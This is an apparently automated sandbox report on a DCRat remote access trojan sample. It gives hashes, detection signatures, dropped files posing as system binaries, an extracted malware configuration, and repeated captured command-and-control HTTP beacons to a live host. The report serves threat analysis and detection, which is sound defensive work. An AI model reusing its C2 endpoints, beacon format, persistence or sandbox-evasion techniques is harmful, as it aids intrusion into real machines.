Windows Analysis Report
2RM12KtuNp.exe

Overview

General Information

Sample name:	2RM12KtuNp.exe renamed because original name is a hash value
Original sample name:	77FFFEE187FABB45FFC7219D421EA83F.exe
Analysis ID:	1542666
MD5:	77fffee187fabb45ffc7219d421ea83f
SHA1:	3f21e5a79d674131678ac5de8eaf30bbfcbb177c
SHA256:	272d4708729e16b629b6ec2c3c04317f6579c2c8f24d171be0d9469dbbce4e26
Tags:	DCRatexeuser-abuse_ch
Infos:

Detection

DCRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

Suricata IDS alerts for network traffic

Yara detected DCRat

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

Creates an undocumented autostart registry key

Creates multiple autostart registry keys

Creates processes via WMI

Disable UAC(promptonsecuredesktop)

Disables UAC (registry)

Drops PE files with benign system names

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: System File Execution Location Anomaly

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Binaries Write Suspicious Extensions

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains executable resources (Code or Archives)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: CurrentVersion NT Autorun Keys Modification

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Malware Threat Intel
Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://axmahr.github.io/posts/asyncrat-detection/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Signatures

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 2RM12KtuNp.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs	Avira: detection malicious, Label: VBS/Starter.VPVT
Source: C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat	Avira: detection malicious, Label: BAT/Delbat.C
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Recovery\sppsvc.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs	Avira: detection malicious, Label: VBS/Runner.VPXJ
Source: C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs	Avira: detection malicious, Label: VBS/Starter.VPVT
Source: C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs	Avira: detection malicious, Label: VBS/Runner.VPXJ

Found malware configuration

Source: 00000000.00000002.2112936217.000000001249D000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: DCRat {"SCRT": "{\"X\":\"|\",\"L\":\"#\",\"V\":\">\",\"6\":\"@\",\"H\":\"`\",\"W\":\"-\",\"y\":\" \",\"o\":\"$\",\"M\":\"!\",\"I\":\"<\",\"l\":\"_\",\"d\":\"~\",\"k\":\";\",\"h\":\",\",\"Z\":\"&\",\"G\":\"*\",\"S\":\"(\",\"P\":\"%\",\"J\":\"^\",\"C\":\".\",\"5\":\")\"}", "PCRT": "{\"W\":\"&\",\"U\":\",\",\"d\":\"-\",\"B\":\">\",\"E\":\"$\",\"F\":\"|\",\"0\":\" \",\"8\":\"<\",\"Z\":\"#\",\"R\":\"%\",\"J\":\";\",\"Q\":\"`\",\"V\":\"*\",\"w\":\"^\",\"T\":\")\",\"D\":\"_\",\"p\":\".\",\"x\":\"@\",\"1\":\"~\",\"X\":\"!\",\"h\":\"(\"}", "TAG": "MB", "MUTEX": "DCR_MUTEX-hARmkeRYgbd7inLJsfWZ", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 2, "ASCFG": {"searchpath": "%UsersFolder% - Fast"}, "AS": false, "ASO": false, "AD": false}

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	ReversingLabs: Detection: 76%
Source: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	ReversingLabs: Detection: 76%
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	ReversingLabs: Detection: 76%
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	ReversingLabs: Detection: 76%
Source: C:\Recovery\sppsvc.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	ReversingLabs: Detection: 76%

Multi AV Scanner detection for submitted file

Source: 2RM12KtuNp.exe	ReversingLabs: Detection: 76%
Source: 2RM12KtuNp.exe	Virustotal: Detection: 75%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Joe Sandbox ML: detected
Source: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Joe Sandbox ML: detected
Source: C:\Recovery\sppsvc.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 2RM12KtuNp.exe

Joe Sandbox ML: detected

Uses 32bit PE files

Source: 2RM12KtuNp.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Microsoft Office 15\ClientX64\69ddcba757bf72	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Windows Mail\c321b7ff01a2d7	Jump to behavior

Source: 2RM12KtuNp.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49746 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49780 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49899 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49986 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49985 -> 5.101.153.173:80
Source: Network traffic	Suricata IDS: 2034194 - Severity 1 - ET MALWARE DCRAT Activity (GET) : 192.168.2.5:49987 -> 5.101.153.173:80

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: BEGET-ASRU BEGET-ASRU

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0 HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0 HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: rustpidc.beget.tech

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?pmv=PZopg0ihS&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&pmv=PZopg0ihS HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0 HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&06RoA4NR89d4K3EShtj=aSiNSsqThhMbt535NoXiND&R2rvqZ8E8OS=iXDVRO&tawCKOAIE3WBcX8RVl794idNNaxU=JSFTUT2e0hgqQ3KmN0 HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&hL1oib=F7svBDITavvsiMUM48DwwrYA4a2M&CPaHE=J0wQF4pCw3PU7M87pf&GYis1kL6LYgVkdnLVHs71=omGpF HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.tech
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BuNhwMAFa=QXwieGICprMaqtoXap&jd0MRJxHvBVhUH6JQRzFfcK0KC=Ed2ZvUQ1DZLfYr8WAUJ&TtkYFlkTGTABPiso2mjMEP3tEvaY=FKgAKRV3eTJu7uuZJQ HTTP/1.1Accept: /Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: rustpidc.beget.tech
